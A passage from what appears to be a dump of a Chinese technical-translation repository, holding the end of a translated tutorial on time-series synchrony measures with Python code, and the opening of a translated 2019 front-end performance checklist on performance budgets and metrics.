2010](https://docs.wixstatic.com/ugd/b75639_82d46e0fa03a4f9290835c5db3888b8c.pdf)）。无论如何，**同步性**可以提供多种的意义，同时，量化两个信号的同步性也有很多方法。\n\n在本篇文章中，我调研了一些最常用的同步指标的利弊，并衡量了包括：皮尔逊相关，时间滞后互相关（TLCC）以及加窗的 TLCC，动态时间扭曲和瞬时相位同步这几种技术。为了更好的说明，同步指标会使用样本数据计算，样本数据是一段三分钟且包含两个参与者对话的视频，我们将从中提取面部微笑表情（下图是一个截屏）。为了让你能更好的跟上文章的内容，可以免费下载[从样本中提取的面部数据](https://gist.github.com/jcheong0428/c6d6111ee1b469cf39683bd70fab1c93)以及包括了所有示例代码的[Jupyter 笔记](https://gist.github.com/jcheong0428/4a74f801e770c6fdb08e81a906902832)。\n\n### 目录\n\n1. 皮尔逊相关\n2. 时间滞后互相关（TLCC）以及加窗的 TLCC\n3. 动态时间扭曲（DTW）\n4. 瞬时相位同步\n\n![Sample data is the smiling facial expression between two participants having a conversation.](https://cdn-images-1.medium.com/max/2600/1*YyIlN7rspyQmKpHXF67-zQ.png)\n\n***\n\n## 1. 皮尔逊相关 —— 最简单也是最好的方法\n\n[皮尔逊相关](https://en.wikipedia.org/wiki/Pearson_correlation_coefficient)可以衡量两个连续信号如何随时间共同变化，并且可以以数字 -1（负相关）、0（不相关）和 1（完全相关）表示出它们之间的线性关系。它很直观，容易理解，也很好解释。但是当使用皮尔逊相关的时候，有两件事情需要注意，它们分别是：第一，异常数据可能会干扰相关评估的结果；第二，它假设数据都是[同方差](https://en.wikipedia.org/wiki/Homoscedasticity)的，这样的话，数据方差在整个数据范围内都是同质的。通常情况下，相关性是全局同步性的快照测量法。所以，它不能提供关于两个信号间方向性的信息，例如，哪个信号是引导信号，哪个信号是跟随信号。\n\n很多包都应用了皮尔逊相关，包括 Numpy、Scipy 和 Pandas。如果你的数据中包含了空值或者缺失值，Pandas 中的相关性方法将会在计算前把这些行丢弃，而如果你想使用 Numpy 或者 Scipy 对于皮尔逊相关的应用，你则必须手动清除掉这些数据。\n\n如下的代码加载的就是样本数据（它和代码位于同一个文件夹下），并使用 Pandas 和 Scipy 计算皮尔逊相关，然后绘制出了中值滤波的数据。\n\n```Python\nimport pandas as pd\nimport numpy as np\n%matplotlib inline\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport scipy.stats as stats\n\ndf = pd.read_csv('synchrony_sample.csv')\noverall_pearson_r = df.corr().iloc[0,1]\nprint(f\"Pandas computed Pearson r: {overall_pearson_r}\")\n# 输出：使用 Pandas 计算皮尔逊相关结果的 r 值：0.2058774513561943\n\nr, p = stats.pearsonr(df.dropna()['S1_Joy'], df.dropna()['S2_Joy'])\nprint(f\"Scipy computed Pearson r: {r} and p-value: {p}\")\n# 输出：使用 Scipy 计算皮尔逊相关结果的 r 值：0.20587745135619354，以及 p-value：3.7902989479463397e-51\n\n# 计算滑动窗口同步性\nf,ax=plt.subplots(figsize=(7,3))\ndf.rolling(window=30,center=True).median().plot(ax=ax)\nax.set(xlabel='Time',ylabel='Pearson r')\nax.set(title=f\"Overall Pearson r = {np.round(overall_pearson_r,2)}\");\n```\n\n![](https://cdn-images-1.medium.com/max/2000/1*90Wv5LqTNoLqQE23P1KeGA.png)\n\n再次重申，所有的皮尔逊 r 值都是用来衡量**全局**同步的，它将两个信号的关系精简到了一个值当中。尽管如此，使用皮尔逊相关也有办法观察每一刻的状态，即**局部**同步性。计算的方法之一就是测量信号局部的皮尔逊相关，然后在所有滑动窗口重复该过程，直到所有的信号都被窗口覆盖过。由于可以根据你想要重复的次数任意定义窗口的宽度，这个结果会因人而异。在下面的代码中，我们使用 120 帧作为窗口宽度（4 秒左右），然后在下图展示出我们绘制的每一刻的同步结果。\n\n```Python\n# 设置窗口宽度，以计算滑动窗口同步性\nr_window_size = 120\n# 插入缺失值\ndf_interpolated = df.interpolate()\n# 计算滑动窗口同步性\nrolling_r = df_interpolated['S1_Joy'].rolling(window=r_window_size, center=True).corr(df_interpolated['S2_Joy'])\nf,ax=plt.subplots(2,1,figsize=(14,6),sharex=True)\ndf.rolling(window=30,center=True).median().plot(ax=ax[0])\nax[0].set(xlabel='Frame',ylabel='Smiling Evidence')\nrolling_r.plot(ax=ax[1])\nax[1].set(xlabel='Frame',ylabel='Pearson r')\nplt.suptitle(\"Smiling data and rolling window correlation\")\n```\n\n![Sample data on top, moment-to-moment synchrony from moving window correlation on bottom.](https://cdn-images-1.medium.com/max/2000/1*NfwPdnOptoSWQDSQHfUlNg.png)\n\n总的来说，皮尔逊相关是很好的入门学习教程，它提供了一个计算全局和局部同步性的很简单的方法。但是，它不能提供信号动态信息，例如哪个信号先出现，而这个可以用互相关来衡量。\n\n## 2. 时间滞后互相关 —— 评估信号动态性\n\n时间滞后互相关（TLCC）可以定义两个信号之间的方向性，例如引导-追随关系，在这种关系中，引导信号会初始化一个响应，追随信号则重复它。还有一些其他方法可以探查这类关系，包括[格兰杰因果关系](https://en.wikipedia.org/wiki/Granger_causality)，它常用于经济学，但是要注意这些仍然不一定能反映真正的因果关系。但是，通过查看互相关，我们还是可以提取出哪个信号首先出现的信息。\n\n![[http://robosub.eecs.wsu.edu/wiki/ee/hydrophones/start](http://robosub.eecs.wsu.edu/wiki/ee/hydrophones/start)](https://cdn-images-1.medium.com/max/2000/1*mWsGTGVdAsy6KoF3n3MyLA.gif)\n\n如上图所示，TLCC 是通过逐步移动一个时间序列向量（红色线）并反复计算两个信号间的相关性而测量得到的。如果相关性的峰值位于中心（offset=0），那就意味着两个时间序列在此时相关性最高。但是，如果一个信号在引导另一个信号，相关性的峰值就可能位于不同的坐标值上。下面这段代码应用了一个使用了 pandas 提供功能的互相关函数。同时它也可以将数据**打包**，这样相关性边界值也能通过添加信号另一边的数据而计算出来。\n\n```Python\ndef crosscorr(datax, datay, lag=0, wrap=False):\n    \"\"\" Lag-N cross correlation. \n    Shifted data filled with NaNs \n    \n    Parameters\n    ----------\n    lag : int, default 0\n    datax, datay : pandas.Series objects of equal length\n\n    Returns\n    ----------\n    crosscorr : float\n    \"\"\"\n    if wrap:\n        shiftedy = datay.shift(lag)\n        shiftedy.iloc[:lag] = datay.iloc[-lag:].values\n        return datax.corr(shiftedy)\n    else: \n        return datax.corr(datay.shift(lag))\n\nd1 = df['S1_Joy']\nd2 = df['S2_Joy']\nseconds = 5\nfps = 30\nrs = [crosscorr(d1,d2, lag) for lag in range(-int(seconds*fps-1),int(seconds*fps))]\noffset = np.ceil(len(rs)/2)-np.argmax(rs)\nf,ax=plt.subplots(figsize=(14,3))\nax.plot(rs)\nax.axvline(np.ceil(len(rs)/2),color='k',linestyle='--',label='Center')\nax.axvline(np.argmax(rs),color='r',linestyle='--',label='Peak synchrony')\nax.set(title=f'Offset = {offset} frames\\nS1 leads <> S2 leads',ylim=[.1,.31],xlim=[0,300], xlabel='Offset',ylabel='Pearson r')\nax.set_xticklabels([int(item-150) for item in ax.get_xticks()])\nplt.legend()\n```\n\n![Peak synchrony is not at the center, suggesting a leader-follower signal dynamic.](https://cdn-images-1.medium.com/max/2000/1*-EC1sqCatnSSCXN3cO-uRg.png)\n\n上图中，我们可以从负坐标推断出，Subject 1（S1）信号在引导信号间的相互作用（当 S2 被推进了 47 帧的时候相关性最高）。但是，这个评估信号在全局层面会动态变化，例如在这三分钟内作为引导信号的信号就会如此。另一方面，我们认为信号之间的相互作用也许会波动得**更加**明显，信号是引导还是跟随，会随着时间而转换。\n\n为了评估粒度更细的动态变化，我们可以计算**加窗**的时间滞后互相关（WTLCC）。这个过程会在信号的多个时间窗内反复计算时间滞后互相关。然后我们可以分析每个窗口或者取窗口上的总和，来提供比较两者之间领导者跟随者互动性差异的评分。\n\n```Python\n# 加窗的时间滞后互相关\nseconds = 5\nfps = 30\nno_splits = 20\nsamples_per_split = df.shape[0]/no_splits\nrss=[]\nfor t in range(0, no_splits):\n    d1 = df['S1_Joy'].loc[(t)*samples_per_split:(t+1)*samples_per_split]\n    d2 = df['S2_Joy'].loc[(t)*samples_per_split:(t+1)*samples_per_split]\n    rs = [crosscorr(d1,d2, lag) for lag in range(-int(seconds*fps-1),int(seconds*fps))]\n    rss.append(rs)\nrss = pd.DataFrame(rss)\nf,ax = plt.subplots(figsize=(10,5))\nsns.heatmap(rss,cmap='RdBu_r',ax=ax)\nax.set(title=f'Windowed Time Lagged Cross Correlation',xlim=[0,300], xlabel='Offset',ylabel='Window epochs')\nax.set_xticklabels([int(item-150) for item in ax.get_xticks()]);\n\n# 滑动窗口时间滞后互相关\nseconds = 5\nfps = 30\nwindow_size = 300 #样本\nt_start = 0\nt_end = t_start + window_size\nstep_size = 30\nrss=[]\nwhile t_end < 5400:\n    d1 = df['S1_Joy'].iloc[t_start:t_end]\n    d2 = df['S2_Joy'].iloc[t_start:t_end]\n    rs = [crosscorr(d1,d2, lag, wrap=False) for lag in range(-int(seconds*fps-1),int(seconds*fps))]\n    rss.append(rs)\n    t_start = t_start + step_size\n    t_end = t_end + step_size\nrss = pd.DataFrame(rss)\n\nf,ax = plt.subplots(figsize=(10,10))\nsns.heatmap(rss,cmap='RdBu_r',ax=ax)\nax.set(title=f'Rolling Windowed Time Lagged Cross Correlation',xlim=[0,300], xlabel='Offset',ylabel='Epochs')\nax.set_xticklabels([int(item-150) for item in ax.get_xticks()]);\n```\n\n![Windowed time lagged cross correlation for discrete windows](https://cdn-images-1.medium.com/max/2000/1*BHfDJ8naQmCDeqg136uYwQ.png)\n\n如上图所示，是将时间序列分割成了 20 个等长的时间段，然后计算每个时间窗口的互相关。这给了我们更细粒度的视角来观察信号的相互作用。例如，在第一个窗口内（第一行），右侧的红色峰值告诉我们 S2 开始的时候在引导相互作用。但是，在第三或者第四窗口（行），我们可以发现 S1 开始更多的引导相互作用。我们也可以继续计算下去，那么就可以得出下图这样平滑的图像。\n\n![Rolling window time lagged cross correlation for continuous windows](https://cdn-images-1.medium.com/max/2000/1*NTAbN0EpFWqNChcABsZA7Q.png)\n\n时间滞后互相关和加窗时间滞后互相关是查看两信号之间更细粒度动态相互作用的很好的方法，例如引导-追随关系以及它们如何随时间改变。但是，这样的对信号的计算的前提是假设事件是同时发生的，并且具有相似的长度，这些内容将会在下一部分涵盖。\n\n## 3. 动态时间扭曲 —— 同步长度不同的信号\n\n动态时间扭曲（DTW）是一种计算两信号间路径的方法，它能最小化两信号之间的距离。这种方法最大的优势就是他能处理不同长度的信号。最初它是为了进行语言分析而被发明出来（在[这段视频](https://www.youtube.com/watch?v=_K1OsqCicBY)中你可以了解更多），DTW 通过计算每一帧对于其他所有帧的欧几里得距离，计算出能匹配两个信号的最小距离。一个缺点就是它无法处理缺失值，所以如果你的数据点有缺失，你需要提前插入数据。\n\n![XantaCross [CC BY-SA 3.0 ([https://creativecommons.org/licenses/by-sa/3.0](https://creativecommons.org/licenses/by-sa/3.0))]](https://cdn-images-1.medium.com/max/2000/1*LXQSbLyr_d_IkiDjiWx5nA.jpeg)\n\n为了计算 DTW，我们将会使用 Python 的 `dtw` 包，它将能够加速运算。\n\n```Python\nfrom dtw import dtw,accelerated_dtw\n\nd1 = df['S1_Joy'].interpolate().values\nd2 = df['S2_Joy'].interpolate().values\nd, cost_matrix, acc_cost_matrix, path = accelerated_dtw(d1,d2, dist='euclidean')\n\nplt.imshow(acc_cost_matrix.T, origin='lower', cmap='gray', interpolation='nearest')\nplt.plot(path[0], path[1], 'w')\nplt.xlabel('Subject1')\nplt.ylabel('Subject2')\nplt.title(f'DTW Minimum Path with minimum distance: {np.round(d,2)}')\nplt.show()\n```\n\n![](https://cdn-images-1.medium.com/max/2000/1*Jg6QtRHd7VCZR-YPtgvLyQ.png)\n\n如图所示我们可以看到白色凸形线绘制出的最短距离。换句话说，较早的 Subject2 数据和较晚的 Subject1 数据的同步性能够匹配。最短路径代价是 **d**=.33，可以用来和其他信号的该值做比较。\n\n## 4. 瞬时相位同步\n\n最后，如果你有一段时间序列数据，你认为它可能有振荡特性（例如 EEG 和 fMRI），此时你也可以测量瞬时相位同步。它也可以计算两个信号间每一时刻的同步性。这个结果可能会因人而异因为你需要过滤数据以获得你感兴趣的波长信号，但是你可能只有未经实践的某些原因来确定这些波段。为了计算相位同步性，我们需要提取信号的相位，这可以通过使用希尔伯特变换来完成，希尔波特变换会将信号的相位和能量拆分开（[你可以在这里学习更多关于希尔伯特变换的知识](https://www.youtube.com/watch?v=VyLU8hlhI-I)）。这让我们能够评估两个信号是否同相位（两个信号一起增强或减弱）。\n\n![Gonfer at English Wikipedia [CC BY-SA 3.0 ([https://creativecommons.org/licenses/by-sa/3.0](https://creativecommons.org/licenses/by-sa/3.0))]](https://cdn-images-1.medium.com/max/2000/1*Bo0LsXy6kq1oWcw2RAkRCA.gif)\n\n```Python\nfrom scipy.signal import hilbert, butter, filtfilt\nfrom scipy.fftpack import fft,fftfreq,rfft,irfft,ifft\nimport numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport scipy.stats as stats\ndef butter_bandpass(lowcut, highcut, fs, order=5):\n    nyq = 0.5 * fs\n    low = lowcut / nyq\n    high = highcut / nyq\n    b, a = butter(order, [low, high], btype='band')\n    return b, a\n\n\ndef butter_bandpass_filter(data, lowcut, highcut, fs, order=5):\n    b, a = butter_bandpass(lowcut, highcut, fs, order=order)\n    y = filtfilt(b, a, data)\n    return y\n\nlowcut  = .01\nhighcut = .5\nfs = 30.\norder = 1\nd1 = df['S1_Joy'].interpolate().values\nd2 = df['S2_Joy'].interpolate().values\ny1 = butter_bandpass_filter(d1,lowcut=lowcut,highcut=highcut,fs=fs,order=order)\ny2 = butter_bandpass_filter(d2,lowcut=lowcut,highcut=highcut,fs=fs,order=order)\n\nal1 = np.angle(hilbert(y1),deg=False)\nal2 = np.angle(hilbert(y2),deg=False)\nphase_synchrony = 1-np.sin(np.abs(al1-al2)/2)\nN = len(al1)\n\n# 绘制结果\nf,ax = plt.subplots(3,1,figsize=(14,7),sharex=True)\nax[0].plot(y1,color='r',label='y1')\nax[0].plot(y2,color='b',label='y2')\nax[0].legend(bbox_to_anchor=(0., 1.02, 1., .102),ncol=2)\nax[0].set(xlim=[0,N], title='Filtered Timeseries Data')\nax[1].plot(al1,color='r')\nax[1].plot(al2,color='b')\nax[1].set(ylabel='Angle',title='Angle at each Timepoint',xlim=[0,N])\nphase_synchrony = 1-np.sin(np.abs(al1-al2)/2)\nax[2].plot(phase_synchrony)\nax[2].set(ylim=[0,1.1],xlim=[0,N],title='Instantaneous Phase Synchrony',xlabel='Time',ylabel='Phase Synchrony')\nplt.tight_layout()\nplt.show()\n```\n\n![Filtered time series (top), angle of each signal at each moment in time (middle row), and instantaneous phase synchrony measure (bottom).](https://cdn-images-1.medium.com/max/2000/1*na7RbielmedgyqvqRzfk-g.png)\n\n瞬时相位同步测算是计算两个信号每一刻同步性的很好的方法，并且它不需要我们像计算滑动窗口相关性那样任意规定窗口宽度。如果你想要知道瞬时相位同步和窗口相关性的比对，[可以在这里查看我更早些的博客](http://jinhyuncheong.com/jekyll/update/2017/12/10/Timeseries_synchrony_tutorial_and_simulations.html)。\n\n***\n\n## 总结\n\n我们讲解了四种计算时间序列数据相关性的方法：皮尔逊相关，时间滞后互相关，动态时间扭曲及瞬时相位同步。基于你的信号类型，你对信号作出的假设，以及你想要从数据中寻找什么样的同步性数据的目标，来决定使用那种相关性测量，有任何问题都可以向我提出，并欢迎在下方留言。\n\n完整的代码在 Jupyter 笔记上，它使用的[样本数据在这里](https://gist.github.com/jcheong0428/c6d6111ee1b469cf39683bd70fab1c93/archive/b2546c195e6793e00ed23c97a982ce439f4f95aa.zip)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/front-end-performance-checklist-2019-pdf-pages-1.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2019 — 1](https://www.smashingmagazine.com/2019/01/front-end-performance-checklist-2019-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> * 译者：[Hopsken](https://juejin.im/user/57e766e42e958a00543d99ae)\n> * 校对者：[SHERlocked93](https://github.com/SHERlocked93), [ElizurHz](https://github.com/ElizurHz)\n\n# 2019 前端性能优化年度总结 — 第一部分\n\n让 2019 来得更迅速吧~你正在阅读的是 2019 年前端性能优化年度总结，始于 2016。\n\n**当我们在讨论前端性能时我们在谈些什么？**性能的瓶颈又**到底**在哪儿？是昂贵的 JavaScript 开销，耗时的网络字体下载，超大的图片还是迟钝的页面渲染？摇树（tree-shaking）、作用域提升（scope hoisting）、代码分割（code-splitting），以及各种酷炫的加载模式，包括交叉观察者模式（intersection observer）、服务端推送（server push）、客户端提示（clients hints）、HTTP/2、service worker 以及 edge worker，研究这些真的有用吗？还有，最重要的，当我们着手处理前端性能的时候，**我们该从哪里开始**，该如何去建立一个长期的性能优化体系？\n\n早些时候，性能都是所谓的“**后顾之忧**”。直到项目快结束的时候，它会被归结为代码压缩（minification）、拼接（concatenation）、静态资源优化（asset optimization）以及几行服务器配置的调整。现在回想一下，情况似乎已经全然不同了。\n\n性能问题不仅仅是技术上的考量，当它被整合进工作流时，在设计的决策中也需要考量性能的因素。**性能需要持续地被检测、监控和优化**。同时，网络在变得越来越复杂，这带来了新的挑战，简单的指标追踪变得不再可行，因为不同的设备、浏览器、协议、网络类型和延迟都会使指标发生明显变化。（CDN、ISP、缓存、代理、防火墙、负载均衡和服务器，这些都得考虑进去。） \n\n因此，如果我们想囊括关于性能提升的所有要点 — 从一开始到网站最后发布，那么最终这个清单应该长啥样呢？以下是一份（但愿是无偏见的、客观的）**2019 前端性能优化年度总结**，“介是你没有看过的船新版本”，它几乎包括所有你需要考虑的要点，来确保你的网站响应时间够短、用户体验够流畅、同时不会榨干用户的带宽。\n\n> - **[译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)**\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n#### 目录\n\n- [起步：计划与指标](#起步计划与指标)\n  - [1. 建立性能评估规范](#1-建立性能评估规范)\n  - [2. 目标：比你最快的竞争对手快至少 20%](#2-目标比你最快的竞争对手快至少-20)\n  - [3. 选择合适的指标](#3-选择合适的指标)\n  - [4. 在目标用户的典型设备上收集数据](#4-在目标用户的典型设备上收集数据)\n  - [5. 为测试设立“纯净”、“接近真实用户”的浏览器配置](#5-为测试设立纯净接近真实用户的浏览器配置profile)\n  - [6. 与团队其他成员分享这份清单](#6-与团队其他成员分享这份清单)\n\n### 起步：计划与指标\n\n对于持续跟踪性能，“微优化”（micro-optimization）是个不错的主意，但是在脑子里有个明晰的目标也是很必要的 — **量化的**目标会影响过程中采取的所有决策。有许多不同的模型可以参考，以下讨论的都基于我个人主观偏好，请根据个人情况自行调整。\n\n#### 1. 建立性能评估规范\n\n在很多组织里面，前端开发者都确切地知道哪有最有可能出现问题，以及应该使用何种模式来修正这些问题。然而，由于性能评估文化的缺失，每个决定都会成为部门间的战场，使组织分裂成孤岛。要想获得业务利益相关者的支持，你需要通过具体案例来说明：页面速度会如何影响业务指标和他们所关心的 **KPI**。\n\n没有开发、设计与业务、市场团队的通力合作，性能优化是走不远的。研究用户抱怨的常见问题，再看看如何通过性能优化来缓解这些问题。\n\n同时在移动和桌面设备上运行性能基准测试，由公司真实数据得到定制化的案例研究（case study）。除此以外，你还可以参考 [WPO Stats](https://wpostats.com/) 上展示的性能优化案例研究及其实验数据来提升自己对性能优化的敏感性，了解为什么性能表现如此重要，它对用户体验和业务指标会产生哪些影响。光是明白性能表现很重要还不够，你还得设立量化的、可追溯的目标，时刻关注它们。\n\n那么到底该怎么做呢？在 Allison McKnight 名为 [Building Performance for the Long Term](https://vimeo.com/album/4970467/video/254947097) 的演讲中，她详细地分享了自己如何在 Etsy 建立性能评估文化的[案例](https://speakerdeck.com/aemcknig/building-performance-for-the-long-term)。\n\n[![Brad Frost and Jonathan Fielding’s Performance Budget Calculator](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7191d628-f0a1-490c-afca-c8abcdfd4823/brad-perf-budget-builder.png)](http://bradfrost.com/blog/post/performance-budget-builder/) \n\nBrad Frost 的 [Performance budget builder](http://bradfrost.com/blog/post/performance-budget-builder/) 和 Jonathan Fielding 的 [Performance Budget Calculator](http://www.performancebudget.io/) 可以帮助你建立性能预算并将其可视化表示出来。（[预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7191d628-f0a1-490c-afca-c8abcdfd4823/brad-perf-budget-builder.png)）\n\n#### 2. 目标：比你最快的竞争对手快至少 20%\n\n根据[一项心理学研究](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/#the-need-for-performance-optimization-the-20-rule)，如果你希望你的用户感觉到你们的网站用起来比竞争对手快，那么你需要比他们快**至少** 20%。研究你的主要对手，收集他们的网站在移动和桌面设备上的性能指标，确定超越他们的最低要求。为了得到准确的结果和目标，首先去研究你们产品的用户行为，之后模仿 90% 用户的行为来进行测试。\n    \n为了更好地了解你的对手的性能表现，你可以使用 [Chrome UX Report](https://web.dev/fast/chrome-ux-report)（**CrUX**，一组现成的 RUM 数据集，[Ilya Grigorik 的视频介绍](https://vimeo.com/254834890))，[Speed Scorecard](https://www.thinkwithgoogle.com/feature/mobile/)（可同时估算性能优化将如何影响收入），[真实用户体验测试比较（Real User Experience Test Comparison）](https://ruxt.dexecure.com/compare)或者 [SiteSpeed CI](https://www.sitespeed.io/)（基于集成测试）。\n\n**注意**：如果你使用 [Page Speed Insights](https://developers.google.com/speed/pagespeed/insights/)（是的，它还没被抛弃），你可以得到指定页面详细的 CrUX 性能数据，而不是只有一些粗略的综合数据。在为具体页面（如“首页”、“产品列表页面”）设立性能目标时，这些数据会非常有用。另外，如果你正在使用 CI 来监测性能预算，当使用 CrUX 来确立目标时，你需要确保测试环境与 CrUX 一致。（**感谢 Patrick Meenan！**)\n\n收集数据，建立一个[表格](http://danielmall.com/articles/how-to-make-a-performance-budget/)，削减掉 20%，以此建立你的目标**性能预算**。那么现在你有了量化的对照组样本。事情正逐步走向正轨，只要你时刻把这份预算记在心里，并且每次都交付尽可能少的代码以缩短可交互时间。\n\n需要些资料来上手？\n\n*   Addy Osmani 写了一篇非常详细的文章解释[如何开始做性能预算](https://medium.com/@addyosmani/start-performance-budgeting-dabde04cf6a3)，如何量化新特性带来的影响，以及当超出预算时，你应该怎么做。\n\n*   Lara Hogan 有[一份考虑到性能预算时的产品设计指南](http://designingforperformance.com/weighing-aesthetics-and-performance/#approach-new-designs-with-a-performance-budget)，可以对设计师们提供一些有用的提示。\n\n*   Jonathan Fielding 的 [Performance Budget Calculator](http://www.performancebudget.io/)，Brad Frost 的 [Performance Budget Builder](https://codepen.io/bradfrost/full/EPQVBp/) 和 [Browser Calories](https://browserdiet.com/calories/) 可以在建立预算上提供帮助。（感谢 [Karolina Szczur](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3) 的提醒）\n\n*   另外，通过建立带有报告打包体积图表的仪表盘，来**可视化**展示性能预算和当前的性能指标。有很多工具可以帮你做到这一点，[SiteSpeed.io dashboard](https://www.peterhedenskog.com/blog/2015/04/open-source-performance-dashboard/)（开源），[SpeedCurve](http://speedcurve.com/) 和 [Calibre](https://calibreapp.com/) 只是其中几个，你可以在 [perf.rocks](http://perf.rocks/tools/) 找到更多工具。\n\n一旦确立好合适的性能预算，你就可以借助 [Webpack Performance Hints and Bundlesize](https://web.dev/fast/incorporate-performance-budgets-into-your-build-tools)、[Lightouse CI](https://web.dev/fast/using-lighthouse-ci-to-set-a-performance-budget), [PWMetrics](https://github.com/paulirish/pwmetrics)、[Sitespeed CI](https://www.sitespeed.io/) 把它们整合进打包流程中，在请求合并时强制检测性能预算，并在 PR 备注中注明得分记录。如果你需要个性化定制，你可以使用 [webpagetest-charts-api](https://github.com/trulia/webpagetest-charts-api)，它提供了一系列可以从 WebPagetest 的结果生成图表的 API。\n\n举个例子，正如 [Pinterest](https://medium.com/@Pinterest_Engineering/a-one-year-pwa-retrospective-f4a2f4129e05) 一样，你可以创建一个自定义的 **eslint** 规则，禁止导入重依赖（dependency-heavy）的文件和目录，从而避免打包文件变得臃肿。设定一个团队内共享的“安全”依赖包列表。\n\n除了性能预算外，仔细考虑那些对你们业务价值最大的关键用户操作。规定并讨论可接受的**关键操作响应时间阈值**，并就“UX 就绪”耗时评分在团队内达成共识。大多数情况下，用户的操作流程会涉及到许多不同公司部门的工作，因此，就“时间阈值”达成共识可以为今后关于性能的沟通提供支持，避免不必要的讨论。确保对新增资源和功能带来的资源开销了如指掌。\n\n另外，正如 Patrick Meenan 提议的，在设计过程中，**规划好加载的顺序和取舍**是绝对值得的。如果你预先规划好哪部分更重要，并确定每部分出现的顺序，那么同时你也会知道哪些部分可以延迟加载。理想情况下，这个顺序也会反映出 CSS 和 JavaScript 文件的导入顺序，因此在打包阶段处理它们会变得更容易些。除此以外，还得考虑页面加载时中间态的视觉效果（比方说，当网络字体还没有加载完全时）。\n\n**规划，规划，规划**。尽管在早期就投入那些能起到立竿见影效果的优化似乎相当有吸引力 — 这对需要快速决胜的项目而言可能是个不错的策略，但是如果没有务实的规划和因地制宜的性能指标，很难保证性能优先能一直受到重视。\n\n首次绘制（First Paint）、首次有内容绘制（First Contentful Paint）、首次有意义绘制（First Meaningful Paint）、视觉完备（Visual Complete）、首次可交互时间（Time To Interactive）的区别。[完整文档](https://docs.google.com/presentation/d/1D4foHkE0VQdhcA5_hiesl8JhEGeTDRrQR4gipfJ8z7Y/present?slide=id.g21f3ab9dd6_0_33)。版权：[@denar90](https://docs.google.com/presentation/d/1D4foHkE0VQdhcA5_hiesl8JhEGeTDRrQR4gipfJ8z7Y/present?slide=id.g21f3ab9dd6_0_33)\n\n#### 3. 选择合适的指标\n\n[并不是所有的指标都同等重要](https://speedcurve.com/blog/rendering-metrics/)。研究哪个指标对你的应用最重要，通常来说它应该与开始渲染**你的产品中最重要的那些像素**的速度以及提供输入响应所需的时间相关。这个要点将为你指明最佳的优化目标，提供努力的方向。\n\n不管怎样，不要总是盯着页面完整载入的时间（比方说 `onload` 和 `DOMContentLoaded`），要站在用户的角度去看待页面加载。也就是说，需要关注一组稍微不同的指标。事实上，“选择正确的指标”是没有绝对完美方案的。\n\n根据 Tim Kadlec 的研究和 Marcos Iglesias 在[他的演讲](https://docs.google.com/presentation/d/e/2PACX-1vTk8geAszRTDisSIplT02CacJybNtrr6kIYUCjW3-Y_7U9kYSjn_6TbabEQDnk9Ao8DX9IttL-RD_p7/pub?start=false&loop=false&delayms=10000&slide=id.g3ccc19d32d_0_98)中提到的，传统的指标可以归为几种类型。通常，我们需要所有的指标来构建完整的性能画像，但是在特定场景中，某些指标可能比其他的更重要些。\n\n*   **基于数量的指标**衡量请求数量、权重和性能评分等。对于告警和监控长期变化很有用，但对理解用户体验帮助不大。\n\n*   **里程碑式指标**使用加载过程中的各个状态来标记，比如：**首位字节时间（Time To First Byte）**和**首次可交互时间（Time To Interactive）**。对于描述用户体验和指标很有用，但对了解加载过程中的情况帮助不大。\n\n*   **渲染指标**可以估计内容渲染的时间，例如**渲染开始时间（Start Render）**和**速度指数（Speed Index）**。对于检测和调整渲染性能很有用，但对检测**重要**内容何时出现、何时可交互帮助不大。\n\n*   **自定义指标**衡量某个特定的、个性化的用户事件，比如 Twitter 的[首次发推时间（Time To First Tweet）](https://blog.alexmaccaw.com/time-to-first-tweet)，Pinterest 的 